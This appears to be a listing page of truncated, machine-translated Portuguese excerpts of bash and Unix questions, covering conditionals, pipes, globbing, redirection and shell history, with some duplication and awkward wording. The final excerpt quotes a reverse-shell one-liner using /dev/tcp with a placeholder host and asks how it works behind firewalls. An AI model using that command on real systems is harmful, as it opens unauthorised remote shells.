#!/bin/bash VALUE=10 if [[ VALUE -eq 10 ]] then echo "Yes" fi Para minha surpresa, isso gera "Sim". Eu esperava que isso exigisse [[ $VALUE -eq 10 ]]. Examinei a CONDITIONAL EXPRESSIONSseção de man bash, mas não encontrei nada para explicar esse
#!/bin/bash VALUE=10 if [[ VALUE -eq 10 ]] then echo "Yes" fi Para minha surpresa, isso gera "Sim". Eu esperava que isso exigisse [[ $VALUE -eq 10 ]]. Examinei a CONDITIONAL EXPRESSIONSseção de man bash, mas não encontrei nada para explicar esse
Estou mexendo nisso há algum tempo, então suspeito que algum tipo de mal-entendido fundamental sobre como os tubos funcionam é a causa raiz dos meus problemas. Meu objetivo é iniciar uma conexão TCP com algum host remoto via netcate ter dois pipes nomeados no sistema de arquivos: um que os...
Como posso listar arquivos com um nome de arquivo que termina com o último caractere e com a .txtextensão? Eu tentei, ls *+([[:digit:]]).txtmas isso é verdade para abc12.txte abc2.txt. Mas eu preciso pegar apenas abc2.txt. Como eu posso fazer isso? Existe alguma forma de :digit:fazer...
Como anexar o resultado de um comando a um arquivo e redirecionar o stderr para
Sempre que eu rmmultiplico itens de uma só vez com o shell globbing e há a menor possibilidade de que o padrão se expanda para mais do que eu esperava, sempre tento me lembrar de adicionar -i, mas (é claro) eu poderia esquecer e acidentalmente afastar algo útil. Algumas pessoas tentam resolver esse...
Usar o topcomando com redirecionamento funciona bem: top > top.log Agora eu quero usar o grep para filtrar uma determinada linha: top | grep "my_program" > top.log Mas o arquivo de log permanecerá vazio. Mas o grep fornece uma saída ao usar top | grep "my_program" Onde my_programdeve...
Na bashlinha de comando, ↑me dá o comando anterior. Nas linhas de comando numpyou matlab, quando digito alguns caracteres, ↑fornece o comando digitado anteriormente, começando com esses caracteres . Como posso ativar exatamente esse comportamento bash? Estou ciente das maneiras mais avançadas de...
Eu sou um respondente frequente em um site popular de perguntas e respostas focado no Unix, e em muitas das minhas respostas eu forneço exemplos usando o bashshell. No entanto, cada vez que faço isso, preciso passar manualmente pelo processo de criação de um ambiente limpo para garantir que todas...
Eu tenho muitos arquivos em uma pasta, chamada like 00802_Bla_Aquarium_XXXXX.jpg. Agora eu preciso copiar cada quarto arquivo para uma subpasta, dizendo selected/. 00802_Bla_Aquarium_00020.jpg <= this
Vou criar um script que usará a entrada do usuário, por isso decidi usar o whiptail, mas confundir um pouco o que é portátil e funcionará no ubuntu 10.xe superior e no CentOs5.x e superior. Eu sei read, mas quero um diálogo como ferramenta, por isso, se alguém souber alguma alternativa, deixe-me...
Eu sei que utilitários bem comportados, como grep , saem mensagens "normais" para stdout e mensagens de erro para stderr. $ grep '^foo' file1 file2 file1:foo grep: file2: No such file or directory Quando estou escrevendo scripts de shell, geralmente acho difícil decidir qual saída e quais...
Por segurança, eu gostaria que o bash abortasse a execução de um script se ele encontrar um erro de sintaxe. Para minha surpresa, não posso conseguir isso. ( set -enão é suficiente.) Exemplo: #!/bin/bash # Do exit on any error: set -e readonly a=(1 2) # A syntax error is here: if (( "${a[#]}"...
Estou usando documentos aqui em um script bash para automatizar a instalação e a configuração em que uma senha é necessária várias vezes. Eu digito a senha uma vez e o script a transmite aos vários comandos. Na maioria dos casos, a abordagem do documento aqui lida com isso. No entanto, em um caso,...
Descobri recentemente que, se pressionarmos Ctrl+ X Ctrl+ E, o bash abre o comando atual em um editor (definido em $VISUALou $EDITOR) e o executa quando o editor é fechado. Mas isso não parece estar documentado nas
Estou tentando criar um método de função em um script bash que executa um comando que é fornecido ao método pelos parâmetros. Significado algo como isto: special_execute() { # Some code # Here's the point where the command gets executed $@ # More code } special_execute echo "abc" Eu já...
Eu tentei o seguinte, mas parece não funcionar: $ cat script.sh #!/bin/env -i /bin/sh /bin/env $ script.sh /bin/env: invalid option -- ' ' Try `/bin/env --help' for more
De acordo com a página de manual do bash: GLOBIGNORE A colon-separated list of patterns defining the set of filenames to be ignored by pathname expansion. If a filename matched by a pathname expansion pattern also matches one of the patterns in GLOBIGNORE, it is removed from the list of...
Suponha que eu tenha inserido uma função no prompt do bash, em várias linhas, em vez de pressioná-la em uma com ponto e vírgula: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Como isso é exibido com caracteres reais de nova linha em vez de '\...
Abri um terminal no Ubuntu usando Ctrl+ Alt+ Te um terminal diferente, acessando um diretório e clicando com o botão direito do mouse e escolhendo "Abrir no Terminal". Eu fiz um echo $0em ambos os casos. No primeiro caso: $ echo $0 -bash No segundo caso: $ echo $0 /bin/bash Por que essa...
eu tentei bash -i >& /dev/tcp/HOST/PORT 0>&1 mas não parece funcionar atrás de firewalls. O que esse código realmente faz, quais portas são encaminhadas e poderia funcionar atrás de